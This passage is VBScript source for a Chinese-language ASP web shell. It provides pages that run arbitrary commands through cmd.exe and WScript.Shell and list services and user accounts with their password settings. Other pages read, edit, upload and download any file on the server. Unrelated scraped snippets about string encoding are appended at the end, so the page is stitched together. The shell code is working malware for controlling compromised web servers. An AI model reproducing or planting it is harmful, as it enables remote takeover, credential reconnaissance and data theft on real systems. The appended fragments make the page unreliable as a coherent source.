    echo "<body onload=""document.forms[0].appArgs.focus();setTimeout('wsLoadIFrame();', 3900);"">"
    echo "<form method=post onSubmit='this.Submit.disabled=true'>"
    echo "<input type=hidden name=theAct value=doAct>"
    echo "<input type=hidden name=aspPath value=""" & HtmlEncode(aspPath) & """>"
    echo "所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>"
    echo "程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62> "
    echo "<input type=button name=Submit4 value=' 回显 ' onClick=""this.form.appArgs.value+=' > '+this.form.aspPath.value;""><br/> "
    echo "命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62> "
    echo "<input type=submit name=Submit value=' 运行 '><br/>"
    echo "<hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/>"
    echo "　由于命令执行时间同网页刷新时间不同步,所以有些执行时间长的程序结果需要手动刷新下面的iframe才能得到.回显后记得删除临时文件.<hr/>"
    echo "<iframe id=cmdResult style='width:100%;height:78%;'>"
    echo "</iframe>"
    echo "</form>"
    echo "</body>"
End Sub

Sub PageServiceList()
    Dim sa, objService, objComputer

    showTitle("系统服务信息查看")
    Set objComputer = GetObject("WinNT://.")
    Set sa = Server.CreateObject("Shell.Application")
    objComputer.Filter = Array("Service")

    echo "<ol>"
    If isDebugMode = False Then
      On Error Resume Next
    End If
    For Each objService In objComputer
      echo "<li>" & objService.Name & "</li><hr/>"
      echo "<ol>服务名称: " & objService.Name & "<br/>"
      echo "显示名称: " & objService.DisplayName & "<br/>"
      echo "启动类型: " & getStartType(objService.StartType) & "<br/>"
      echo "运行状态: " & sa.IsServiceRunning(objService.Name) & "<br/>"
      echo "当前状态: " & objService.Status & "<br/>"
      echo "服务类型: " & objService.ServiceType & "<br/>"
      echo "登录身份: " & objService.ServiceAccountName & "<br/>"
      echo "服务描述: " & getServiceDsc(objService.Name) & "<br/>"
      echo "文件路径及参数: " & objService.Path
      echo "</ol><hr/>"
    Next
    echo "</ol><hr/>"

    Set sa = Nothing
End Sub

Function getServiceDsc(strService)
    Dim ws
    Set ws = Server.CreateObject("WScript.Shell")
    getServiceDsc = ws.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\" & strService & "\Description")
    Set ws = Nothing
End Function

Sub PageUserList()
    Dim objUser, objGroup, objComputer

    showTitle("系统用户及用户组信息查看")
    Set objComputer = GetObject("WinNT://.")
    objComputer.Filter = Array("User")
    echo "<a href=javascript:showHideMe(userList);>User:</a>"
    echo "<span id=userList><hr/>"
    For Each objUser in objComputer
      echo "<li>" & objUser.Name & "</li>"
      echo "<ol><hr/>"
      getUserInfo(objUser.Name)
      echo "<hr/></ol>"
    Next
    echo "</span>"

    echo "<br/><a href=javascript:showHideMe(userGroupList);>UserGroup:</a>"
    echo "<span id=userGroupList><hr/>"
    objComputer.Filter = Array("Group")
    For Each objGroup in objComputer
      echo "<li>" & objGroup.Name & "</li>"
      echo "<ol><hr/>" & objGroup.Description & "<hr/></ol>"
    Next
    echo "</span><hr/>"

End Sub

Sub getUserInfo(strUser)
    Dim User, Flags
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Set User = GetObject("WinNT://./" & strUser & ",user")
    echo "描述: " & User.Description & "<br/>"
    echo "所属用户组: " & getItsGroup(strUser) & "<br/>"
    echo "密码已过期: " & cbool(User.Get("PasswordExpired")) & "<br/>"
    Flags = User.Get("UserFlags")
    echo "密码永不过期: " & cbool(Flags And &H10000) & "<br/>"
    echo "用户不能更改密码: " & cbool(Flags And &H00040) & "<br/>"
    echo "非全局帐号: " & cbool(Flags And &H100) & "<br/>"
    echo "密码的最小长度: " & User.PasswordMinimumLength & "<br/>"
    echo "是否要求有密码: " & User.PasswordRequired & "<br/>"
    echo "帐号停用中: " & User.AccountDisabled & "<br/>"
    echo "帐号锁定中: " & User.IsAccountLocked & "<br/>"
    echo "用户信息文件: " & User.Profile & "<br/>"
    echo "用户登录脚本: " & User.LoginScript & "<br/>"
    echo "用户Home目录: " & User.HomeDirectory & "<br/>"
    echo "用户Home目录根: " & User.Get("HomeDirDrive") & "<br/>"
    echo "帐号过期时间: " & User.AccountExpirationDate & "<br/>"
    echo "帐号失败登录次数: " & User.BadLoginCount & "<br/>"
    echo "帐号最后登录时间: " & User.LastLogin & "<br/>"
    echo "帐号最后注销时间: " & User.LastLogoff & "<br/>"
    For Each RegTime In User.LoginHours
      If RegTime < 255 Then
        Restrict = True
      End If
    Next
    echo "帐号已用时间: " & Restrict & "<br/>"
    Err.Clear
End Sub

Function getItsGroup(strUser)
    Dim objUser, objGroup
    Set objUser = GetObject("WinNT://./" & strUser & ",user")
    For Each objGroup in objUser.Groups
      getItsGroup = getItsGroup & " " & objGroup.Name
    Next
End Function

Sub PageWsCmdRun()
    Dim cmdStr, cmdPath, cmdResult
    cmdStr = Request("cmdStr")
    cmdPath = Request("cmdPath")

    showTitle("WScript.Shell命令行操作")

    If cmdPath = "" Then
      cmdPath = "cmd.exe"
    End If

    If cmdStr <> "" Then
      If InStr(LCase(cmdPath), "cmd.exe") > 0 Or InStr(LCase(cmdPath), LCase(myCmdDotExeFile)) > 0 Then
        cmdResult = doWsCmdRun(cmdPath & " /c " & cmdStr)
       Else
         If LCase(cmdPath) = "wscriptshell" Then
          cmdResult = doWsCmdRun(cmdStr)
         Else
          cmdResult = doWsCmdRun(cmdPath & " " & cmdStr)
        End If
      End If
    End If

    echo "<style>body{ margin:8; }</style>"
    echo "<body onload=""document.forms[0].cmdStr.focus();document.forms[0].cmdResult.style.height=document.body.clientHeight-115;"">"
    echo "<form method=post onSubmit='this.Submit.disabled=true'>"
    echo "路径: <input name=cmdPath type=text id=cmdPath value=""" & HtmlEncode(cmdPath) & """ size=50> "
    echo "<input type=button name=Submit2 value=使用WScript.Shell onClick=""this.form.cmdPath.value='WScriptShell';""><br/>"
    echo "命令/参数: <input name=cmdStr type=text id=cmdStr value=""" & HtmlEncode(cmdStr) & """ size=62> "
    echo "<input type=submit name=Submit value=' 运行 '><br/>"
    echo "<hr/>注: 请只在这里执行单步程序(程序执行开始到结束不需要人工干预),不然本程序会无法正常工作,并且在服务器生成一个不可结束的进程.<hr/>"
    echo "<textarea id=cmdResult style='width:100%;height:78%;'>"
    echo HtmlEncode(cmdResult)
    echo "</textarea>"
    echo "</form>"
    echo "</body>"
End Sub

Function doWsCmdRun(cmdStr)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim fso, theFile
    Set fso = Server.CreateObject("Scripting.FileSystemObject")

    doWsCmdRun = wsX.Exec(cmdStr).StdOut.ReadAll()
    If Err Then
      echo Err.Description & "<br>"
      Err.Clear
      wsX.Run cmdStr & " > " & aspPath, 0, True
      Set theFile = fso.OpenTextFile(aspPath)
      doWsCmdRun = theFile.RealAll()
      If Err Then
        echo Err.Description & "<br>"
        Err.Clear
        doWsCmdRun = streamLoadFromFile(aspPath)
      End If
    End If

    Set fso = Nothing
End Function

Sub PageOther()
    echo "<style>" & vbNewLine
    echo "A:visited { color: #333333;text-decoration: none; }" & vbNewLine
    echo "A:active { color: #333333;text-decoration: none; }" & vbNewLine
    echo "A:link { color: #000000;text-decoration: none; }" & vbNewLine
    echo "A:hover { color: #333333;text-decoration: none; }" & vbNewLine
    echo "BODY { font-size: 9pt;COLOR: #000000;font-family: ""Courier New"";border: none;background-color: buttonface; }" & vbNewLine
    echo "textarea { font-family: ""Courier New"";font-size: 12px;border-width: 1px;color: #000000; }" & vbNewLine
    echo "table { font-size: 9pt; }" & vbNewLine
    echo "form { margin: 0; }" & vbNewLine
    echo "#fsoDriveList span{ width: 100px; }" & vbNewLine
    echo "#FileList span{ width: 90;height: 70;cursor: hand;text-align: center;word-break: break-all;border: 1px solid buttonface; }" & vbNewLine
    echo ".anotherSpan{ color: #ffffff;width: 90;height: 70;text-align: center;background-color: #0A246A;border: 1px solid #0A246A; }" & vbNewLine
    echo ".font{ font-size: 35px;line-height: 40px; }" & vbNewLine
    echo "#fileExplorerTools { background-color: buttonFace; }" & vbNewLine
    echo ".input, input { border-width: 1px; }" & vbNewLine
    echo "</style>" & vbNewLine

    echo "<script language=javascript>" & vbNewLine
    echo "function showHideMe(me){ " & vbNewLine
    echo "if(me.innerText == ''){ " & vbNewLine
    echo "me.innerText = '\nNo Contents!';" & vbNewLine
    echo " }" & vbNewLine
    echo "if(me.style.display == 'none'){ " & vbNewLine
    echo "me.style.display = '';" & vbNewLine
    echo " }else{ " & vbNewLine
    echo "me.style.display = 'none';" & vbNewLine
    echo " }" & vbNewLine
    echo " }" & vbNewLine
    echo "function changeMyClass(me){ " & vbNewLine
    echo "if(me.className == ''){ " & vbNewLine
    echo "if(usePath.value != '')document.getElementById(usePath.value).className = '';" & vbNewLine
    echo "usePath.value = me.id;" & vbNewLine
    echo "status = me.title;" & vbNewLine
    echo "me.className = 'anotherSpan';" & vbNewLine
    echo " }" & vbNewLine
    echo " }" & vbNewLine
    echo "function changeThePath(me){ " & vbNewLine
    echo "location.href = '?pageName=' + pageName.value + '&thePath=' + me.id;" & vbNewLine
    echo " }" & vbNewLine
    echo "function fixTheLayer(strObj){ " & vbNewLine
    echo "var objStyle=document.getElementById(strObj).style;" & vbNewLine
    echo "objStyle.width = document.body.clientWidth;" & vbNewLine
    echo "objStyle.top = document.body.scrollTop + 2;" & vbNewLine
    echo " }" & vbNewLine
    echo "function openUrl(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=openUrl&thePath=' + usePath.value);" & vbNewLine
    echo " }" & vbNewLine
    echo "function newOne(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=newOne&thePath=' + truePath.value, '', 'menu=no,resizable=yes,height=110,width=300');" & vbNewLine
    echo " }" & vbNewLine
    echo "function editFile(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=showEdit&thePath=' + usePath.value, '', 'menu=no,resizable=yes');" & vbNewLine
    echo " }" & vbNewLine
    echo "function appDoAction(act){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=' + act + '&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');" & vbNewLine
    echo " }" & vbNewLine
    echo "function downTheFile(){ " & vbNewLine
    echo "if(confirm('如果该文件超过20M,\n建议不要通过流方式下载\n这样会占用服务器大量的资源\n并可能导致服务器死机!\n您可以先把文件复制到当前站点目录下,\n然后通过http协议来下载.\n按\""确定\""用流来进行下载.')){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=downTheFile&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');" & vbNewLine
    echo " }" & vbNewLine
    echo " }" & vbNewLine
    echo "function appDoAction2(act){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=' + act + '&thePath=' + truePath.value, '','menu=no,resizable=yes,height=100,width=368');" & vbNewLine
    echo " }" & vbNewLine
    echo "function appTheAttributes(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=theAttributes&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=194,width=368');" & vbNewLine
    echo " }" & vbNewLine
    echo "function appRename(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=rename&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');" & vbNewLine
    echo " }" & vbNewLine
    echo "function upTheFile(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=showUpload&thePath=' + truePath.value, '', 'menu=no,resizable=yes,height=80,width=380');" & vbNewLine
    echo " }" & vbNewLine
    echo "function wsLoadIFrame(){ " & vbNewLine
    echo "cmdResult.location.href = '?pageName=SaCmdRun&theAct=readResult';" & vbNewLine
    echo " }" & vbNewLine
    echo "function fsoRename(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=showFsoRename&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=20,width=300');" & vbNewLine
    echo " }" & vbNewLine
    echo "function delOne(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=delOne&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');" & vbNewLine
    echo " }" & vbNewLine
    echo "function fsoGetAttributes(){ " & vbNewLine
    echo "newWin = window.open('?pageName=' + pageName.value + '&theAct=getAttributes&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=170,width=300');" & vbNewLine
    echo " }" & vbNewLine
    echo "</script>"
End Sub

Sub openUrl(usePath)
    Dim theUrl, thePath

    thePath = Server.MapPath("/")

    If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then
      theUrl = Mid(usePath, Len(thePath) + 1)
      theUrl = Replace(theUrl, "\", "/")
      If Left(theUrl, 1) = "/" Then
        theUrl = Mid(theUrl, 2)
      End If
      Response.Redirect("/" & theUrl)
     Else
      alertThenClose("您所要打开的文件不在本站点目录下\n您可以尝试把要打开(下载)的文件粘贴到\n站点目录下,然后再打开(下载)!")
      Response.End
    End If
End Sub

Sub showEdit(thePath, strMethod)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim theFile, unEditableExt

    If Right(thePath, 1) = "\" Then
      alertThenClose("编辑文件夹操作是非法的.")
      Response.End
    End If

    unEditableExt = "$exe$dll$bmp$wav$mp3$wma$ra$wmv$ram$rm$avi$mgp$png$tiff$gif$pcx$jpg$com$msi$scr$rar$zip$ocx$sys$mdb$"

    echo "<style>body{ border:none;overflow:hidden;background-color:buttonface; }</style>"
    echo "<body topmargin=9>"
    echo "<form method=post style='margin:0;width:100%;height:100%;'>"
    echo "<textarea name=fileContent style='width:100%;height:90%;'>"
    If strMethod = "stream" Then
      echo HtmlEncode(streamLoadFromFile(thePath))
     Else
      Set theFile = fsoX.OpenTextFile(thePath, 1)
      echo HtmlEncode(theFile.ReadAll())
      theFile.Close
      Set theFile = Nothing
    End If
    echo "</textarea><hr/>"
    echo "<div align=right>"
    echo "保存为:<input size=30 name=thePath value=""" & HtmlEncode(thePath) & """> "
    echo "<input type=checkbox name='windowStatus' id=windowStatus"
    If Request.Cookies(m & "windowStatus") = "True" Then
      echo " checked"
    End If
    echo "><label for=windowStatus>保存后关闭窗口</label> "
    echo "<input type=submit value=' 保存 '><input type=hidden value='saveFile' name=theAct>"
    echo "<input type=reset value=' 恢复 '>"
    echo "<input type=button value=' 清空 ' onclick=this.form.fileContent.innerText='';>"
    echo strJsCloseMe & "</div>"
    echo "</form>"
    echo "</body><br/>"

End Sub

Sub saveToFile(thePath, strMethod)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim fileContent, windowStatus
    fileContent = Request("fileContent")
    windowStatus = Request("windowStatus")

    If strMethod = "stream" Then
      streamSaveToFile thePath, fileContent
      chkErr(Err)
     Else
      fsoSaveToFile thePath, fileContent
      chkErr(Err)
    End If

    If windowStatus = "on" Then
      Response.Cookies(m & "windowStatus") = "True"
      Response.Write "<script>window.close();</script>"
     Else
      Response.Cookies(m & "windowStatus") = "False"
      Call showEdit(thePath, strMethod)
    End If
End Sub

Sub fsoSaveToFile(thePath, fileContent)
    Dim theFile
    Set theFile = fsoX.OpenTextFile(thePath, 2, True)
    theFile.Write fileContent
    theFile.Close
    Set theFile = Nothing
End Sub

Function streamLoadFromFile(thePath)
    Dim stream
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Set stream = Server.CreateObject("adodb.stream")
    With stream
      .Type=2
      .Mode=3
      .Open
      .LoadFromFile thePath
      .LoadFromFile thePath
      If Request("pageName") <> "TxtSearcher" Then
        chkErr(Err)
      End If
      .Charset="gb2312"
      .Position=2
      streamLoadFromFile=.ReadText()
      .Close
    End With
    Set stream = Nothing
End Function

Sub downTheFile(thePath)
    Response.Clear
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim stream, fileName, fileContentType

    fileName = split(thePath,"\")(uBound(split(thePath,"\")))
    Set stream = Server.CreateObject("adodb.stream")
    stream.Open
    stream.Type = 1
    stream.LoadFromFile(thePath)
    chkErr(Err)
    Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
    Response.AddHeader "Content-Length", stream.Size
    Response.Charset = "UTF-8"
    Response.ContentType = "application/octet-stream"
    Response.BinaryWrite stream.Read
    Response.Flush
    stream.Close
    Set stream = Nothing
End Sub

Sub showUpload(thePath, pageName)
    echo "<style>body{ margin:8;overflow:hidden; }</style>"
    echo "<form method=post enctype='multipart/form-data' action='?pageName=" & pageName & "&theAct=upload&thePath=" & UrlEncode(thePath) & "' onsubmit='this.Submit.disabled=true;;'>"
    echo "上传文件: <input name=file type=file size=31><br/>保存为: "
    echo "<input name=fileName type=text value=""" & HtmlEncode(thePath) & """ size=33>"
    echo "<input type=checkbox name=writeMode value=True>覆盖模式<hr/>"
    echo "<input name=Submit type=submit id=Submit value='上传' onClick=""this.form.action+='&fileName='+this.form.fileName.value+'&theFile='+this.form.file.value+'&overWrite='+this.form.writeMode.checked;"">"
    echo strJsCloseMe
    echo "</form>"
End Sub

Sub streamUpload(thePath)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Server.ScriptTimeOut = 5000
    Dim i, j, info, stream, streamT, theFile, fileName, overWrite, fileContent
    theFile = Request("theFile")
    fileName = Request("fileName")
    overWrite = Request("overWrite")

    If InStr(fileName, ":") <= 0 Then
      fileName = thePath & fileName
    End If

Set stream = Server.CreateObject("adodb.stream")
Set streamT = Server.CreateObject("adodb.stream")

    With stream
      .Type = 1
      .Mode = 3
      .Open
      .Write Request.BinaryRead(Request.TotalBytes)
      .Position = 0
      fileContent = .Read()
      i = InStrB(fileContent, chrB(13) & chrB(10))
      info = LeftB(fileContent, i - 1)
      i = Len(info) + 2
      i = InStrB(i, fileContent, chrB(13) & chrB(10) & chrB(13) & chrB(10)) + 4 - 1
      j = InStrB(i, fileContent, info) - 1
      streamT.Type = 1
      streamT.Mode = 3
      streamT.Open
      stream.position = i
      .CopyTo streamT, j - i - 2
      If overWrite = "true" Then
        streamT.SaveToFile fileName, 2
       Else
        streamT.SaveToFile fileName
      End If
      If Err.Number = 3004 Then
        Err.Clear
        fileName = fileName & "\" & Split(theFile, "\")(UBound(Split(theFile ,"\")))
        If overWrite="true" Then
          streamT.SaveToFile fileName, 2
         Else
          streamT.SaveToFile fileName
        End If
      End If
      chkErr(Err)
      echo("<script language=""javascript"">alert('文件上传成功!\n" & Replace(fileName, "\", "\\") & "');</script>")
      streamT.Close
      .Close
   ReloadParentPage()
    End With

    Set stream = Nothing
    Set streamT = Nothing
End Sub

Function getDriveType(num)
    Select Case num
      Case 0
        getDriveType = "未知"
      Case 1
        getDriveType = "可移动磁盘"
      Case 2
        getDriveType = "本地硬盘"
      Case 3
        getDriveType = "网络磁盘"
      Case 4
        getDriveType = "CD-ROM"
      Case 5
        getDriveType = "RAM 磁盘"
    End Select
End Function

Function getFileIcon(extName)
    Select Case LCase(extName)
      Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
        getFileIcon = "Wingdings>2"
      Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
        getFileIcon = "Webdings>·"
      Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
        getFileIcon = "'webdings'>?"
      Case "exe", "com", "bat", "cmd", "scr", "msi"
        getFileIcon = "Webdings>1"
      Case "sys", "dll", "ocx"
        getFileIcon = "Wingdings>?"
      Case Else
        getFileIcon = "'Wingdings 2'>/"
    End Select
End Function

Function getStartType(num)
    Select Case num
      Case 2
        getStartType = "自动"
      Case 3
        getStartType = "手动"
      Case 4
        getStartType = "已禁用"
    End Select
End Function

Sub ReloadParentPage()
echo "<SCRIPT>opener.window.location.reload();</SCRIPT>"
End Sub
echo "<body>" & vbNewLine
echo "</html>" %>

你可能感兴趣的:(encode)

BART&BERT Ambition_LAO 深度学习
BART和BERT都是基于Transformer架构的预训练语言模型。模型架构：BERT(BidirectionalEncoderRepresentationsfromTransformers)主要是一个编码器（Encoder）模型，它使用了Transformer的编码器部分来处理输入的文本，并生成文本的表示。BERT特别擅长理解语言的上下文，因为它在预训练阶段使用了掩码语言模型（MLM）任务，即
python的request请求401_Python模拟HTTPS请求返回HTTP 401 unauthorized错误 weixin_39599372
Python模拟HTTPS请求返回HTTP401unauthorized错误开始是使用的httplib模块，代码如下：header={"Content-type":"application/json","Accept":"*/*"}params={‘source‘:‘en‘,‘target‘:‘es‘,‘text‘:match.group(1)}data=urllib.urlencode(para
python使用MD5 18.程序员哈希算法算法
一、要使用Python进行MD5加密，可以使用Python标准库中的hashlib模块。二、案例importhashlibstring="Hello,World!"#要进行加密的字符串hash_object=hashlib.md5(string.encode())#将字符串编码并进行MD5加密hash_hex=hash_object.hexdigest()#获取加密后的十六进制字符串print(h
使用ffmpeg将pcm格式音频转化为mp3格式音频布丁小站 ffmpeg pcm 音视频
voidAudioCode::ENcode(AVCodecContext*cdc_ctx,AVFrame*frame,AVPacket*pkt){intret=0;/*sendtheframeforencoding*/ret=avcodec_send_frame(cdc_ctx,frame);if(ret=0){ret=avcodec_receive_packet(cdc_ctx,pkt);if(
iOS使用SDWebview加载图片失败？ AnderQZ
今天调试遇到一个很无奈的问题，就是出现了image无法加载出来。最后才发现是图片使用了中文命名，真TM的坑！SDWebimage没办法识别中文，必须要encode才行！
vue axios跨域访问相关问题 | axios默认发送‘application/x-www-form-urlencoded‘格式数据 | Content-Type is not allowed b 就是爱吃肉ro #Vue &uni-app axios ajax cors跨域 vue x-www-form-url
文章目录概述报错1Content-TypeisnotallowedbyAccess-Control-Allow-Headersinpreflightrespon报错2返回状态码500好久没更博客了,最近一直搞框架搞项目,好多问题也都没有记录下来…好吧,那从今天起来,继续开始保持记录的好习惯,先写一下在axios上踩下了这么多坑.概述通过以下两个报错,来介绍解决使用axios来进行网络请求中的遇到的
python--排错--AttributeError: 'str' object has no attribute 'decode'，关于python3的字符串我不是庸医 python 排错记录
AttributeError:'str'objecthasnoattribute'decode'一般是因为str的类型本身不是bytes，所以不能解码两个概念:普通str：可理解的语义字节流str（bytes）（0101010101，可视化显示）两个语法Encode:把普通字符串转为机器可识别的bytesDecode:把bytes转为字符串两个差异Python3的str默认不是bytes，所以不能
VUE在线预览word、pdf、excel等文档菜鸟程序猿、 vue.js pdf 前端
http://www.pfile.com.cn/api/profile/onlinePreview?url=(需要在线查看的文档地址)vue代码window.open('http://www.pfile.com.cn/api/profile/onlinePreview?url='+encodeURIComponent(“需要在线查看的文档地址”));文档参考：http://www.pfile.co
【Tools】大模型中的BERT概念音乐学家方大刚工具 bert 人工智能深度学习
摇来摇去摇碎点点的金黄伸手牵来一片梦的霞光南方的小巷推开多情的门窗年轻和我们歌唱摇来摇去摇着温柔的阳光轻轻托起一件梦的衣裳古老的都市每天都改变模样方芳《摇太阳》BERT（BidirectionalEncoderRepresentationsfromTransformers）是一种基于Transformer的预训练语言模型，由Google于2018年发布。BERT的目标是通过大规模无监督预训练学习来
Transformer模型：WordEmbedding实现 Galaxy.404 Transformer transformer 深度学习人工智能 embedding
前言最近在学Transformer，学了理论的部分之后就开始学代码的实现，这里是跟着b站的up主的视频记的笔记，视频链接：19、Transformer模型Encoder原理精讲及其PyTorch逐行实现_哔哩哔哩_bilibili正文首先导入所需要的包：importtorchimportnumpyasnpimporttorch.nnasnnimporttorch.nn.functionalasF关
【算法】leetcode394. 字符串解码（辅助栈法）岚清子 leetcode python leetcode python 字符串辅助栈
问题来源leetcode394.字符串解码394.字符串解码给定一个经过编码的字符串，返回它解码后的字符串。编码规则为:k[encoded_string]，表示其中方括号内部的encoded_string正好重复k次。注意k保证为正整数。你可以认为输入字符串总是有效的；输入字符串中没有额外的空格，且输入的方括号总是符合格式要求的。此外，你可以认为原始数据不包含数字，所有的数字只表示重复的次数k，例
python怎么解码成字符串_python字符串怎么解码？ weixin_39619478 python怎么解码成字符串
python字符串解码的方法：python中可以使用decode()方法对字符串进行解码。python中可以使用encode()方法将字符串转换为bytes类型，此过程称为“编码”。decode()方法用于将bytes类型的二进制数据转换为str类型，这个过程也称为“解码”。decode()方法的语法格式如下：bytes.decode([encoding="utf-8"][,errors="str
加载pkl文件，Python报错AttributeError: Can‘t get attribute ‘DeepFM‘ on ＜module ‘__main__‘ from...＞ Zerol_Yan Python基础 python
背景模型同学发过来的pkl格式的模型，在系统中加载的时候，报错AttributeError:module'__main__'hasnoattribute'LabelEncoderExt'，尝试了很多种方式，最后终于解决了这个问题，记录一下，以后遇到类似的可以做参考。项目代码及结构app.pyfrominitimportappimportjsonfromflaskimportrequest@app.
auto encoder war3gu 深度学习
Deepauto-encoder与受限玻尔兹曼机有点像，都可以进行信息的压缩，都可以用作pre-trainning.区别在于受限玻尔兹曼机是无向图模型，而Deepauto-encoder是一种神经网络,中间特别窄的bottleneck的数据作为压缩的codeencoder与decoder的参数可以相互独立，也可以互为逆数字图片auto-encoder，越是deep的auto-encoder，压缩出
自动编码器 - Autoencoder hellozhxy 深度学习人工智能机器学习
文章目录一、自编码器（Autoencoder）简单模型介绍二、神经网络自编码模型三、神经网络自编码器三大特点四、自编码器（Autoencoder）搭建五、几种常见编码器1.堆栈自动编码器2.欠完备自编码器3.正则自编码器4.噪自编码器（denoisingautoencoder,DAE）参考链接一、自编码器（Autoencoder）简单模型介绍暂且不谈神经网络、深度学习等，仅仅是自编码器的话，其原理
Autoencoder chuange6363 人工智能 python
自编码器Autoencoder稀疏自编码器SparseAutoencoder降噪自编码器DenoisingAutoencoder堆叠自编码器StackedAutoencoder本博客是从梁斌博士的博客上面复制过来的，本人利用Tensorflow重新实现了博客中的代码深度学习有一个重要的概念叫autoencoder，这是个什么东西呢，本文通过一个例子来普及这个术语。简单来说autoencoder是一
python公众号文章_python采集微信公众号文章 Coming May python公众号文章
本文实例为大家分享了python采集微信公众号文章的具体代码，供大家参考，具体内容如下在python一个子目录里存2个文件，分别是：采集公众号文章.py和config.py。代码如下：1.采集公众号文章.pyfromurllib.parseimporturlencodeimportpymongoimportrequestsfromlxml.etreeimportXMLSyntaxErrorfrom
【python实用性】文件系统基本讲解及用法: “增删改查“ 黄小莫 python
文章目录一.增：创建文件二.删：删除文件三.改：修改文件四.查：查看文件系统一.增：创建文件创建脚本文件（例如:.txt、.js、.json、.py等）使用withopen(file=‘’,mode=‘w’,encode=‘’)方法进行mode=‘w’/mode=‘a’:表示在文件不存在的时候，会自动创建新文件encode：常用的格式是UTF-8格式importjsonwithopen('test
Python用PIL将PNG图像合成gif时如果背景为透明时图像出现重影的解决办法 orange_wrj python PIL
最近在用PIL合成PNG图像为GIF时，因为需要透明背景，所以就用putpixel的方法替换背景为透明，但是在合成GIF时，图像出现了重影，在网上查找了GIF的相关资料：GIF相关资料其中有对GIF帧数处理的说明，需要在GIF图像的header中设置disposal的处置方法然后我们可以查看PIL库中关于GIF的定义文件GifImagePlugin.pydisposal=int(im.encode
python MultipartEncoder request 报错 Required request part ‘file‘ is not present 只想做打工人学习 vue.js
pythonMultipartEncoderrequest报错Requiredrequestpart‘file’isnotpresent今天在处理一个python做post请求的小工具，是要post一个文件,由于’Content-Type’:‘multipart/form-data’,代码类似这个样子multipart_encoder=MultipartEncoder(fields={"file"
python的正则匹配 CharlieBrownn python
defFilterTranslate(source):source.encode()temp=sourcexx=u"([\s\u30a0-\u30ff\u3040-\u309f\u4e00-\u9fa5\u3000-\u303f\ufb00-\ufffd\u0030-\u0039\u0041-\u005a\u0061-\u007a]+)"#日文片假名日文片假名中文标点符号数字大写字母小写patte
ClickHouse 二进制特征值怎么转化为字符串树下水月 clickhouse
要将二进制特征值转化为字符串，可以使用以下方法：1.使用base64编码base64是一种将二进制数据编码为ASCII字符串的方法。在ClickHouse中，可以使用函数base64Encode()来将二进制特征值转化为base64编码的字符串。例如：SELECTbase64Encode(feature)FROMmy_table;2.使用hex编码hex是一种将二进制数据转化为十六进制字符串的方法
http请求特殊字符转码一阵可爱风
Java使用URLEncoder.encode和URLDecoder.decode编解码(utf-8)中文及特殊字符1、URLEncoder.encode和URLDecoder.decodeURL只能使用英文字母、阿拉伯数字和某些标点符号，不能使用其他文字和符号，即只有字母和数字[0-9a-zA-Z]、一些特殊符号$-_.+!*'()[不包括双引号]、以及某些保留字（空格转换为+），才可以不经过编
Transformer+目标检测，这一篇入门就够了 BIT可达鸭 ▶深度学习-计算机视觉 transformer 深度学习目标检测计算机视觉自然语言处理
VisionTransformerforObjectDetection本文作者：Encoder-Decoder简介：Encoder-Decoder的缺陷：Attention机制：Self-Attention机制：Multi-HeadAttention：Transformer结构：图像分类之ViT：图像分类之PyramidViT：目标检测之DETR：目标检测之DeformableDETR：本文作者：
java base64加密和解密勇敢的小提莫 java jvm spring
importjava.nio.charset.StandardCharsets;importjava.util.Base64;publicclassBase64Util{finalstaticBase64.Encoderencoder=Base64.getEncoder();finalstaticBase64.Decoderdecoder=Base64.getDecoder();publicsta
小程序web-view页面部分手机打开空白问题 jing_bao
初写小程序，记录下开发过程中遇到的部分手机打开web-view页面空白，以及web-view页面分享空白页的问题，以及解决方法。出现场景：当web-view加载的页面中存在中文字符时，会出现此问题。原因：部分ios手机打开web-view页面，并没有进行encodeURI编码；在使用encodeURI编码后，页面可打开，但进行微信小程序分享时，会再自行encode一次，导致部分ios解码不成功，分
解决UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: weixin_33928467 python 数据库
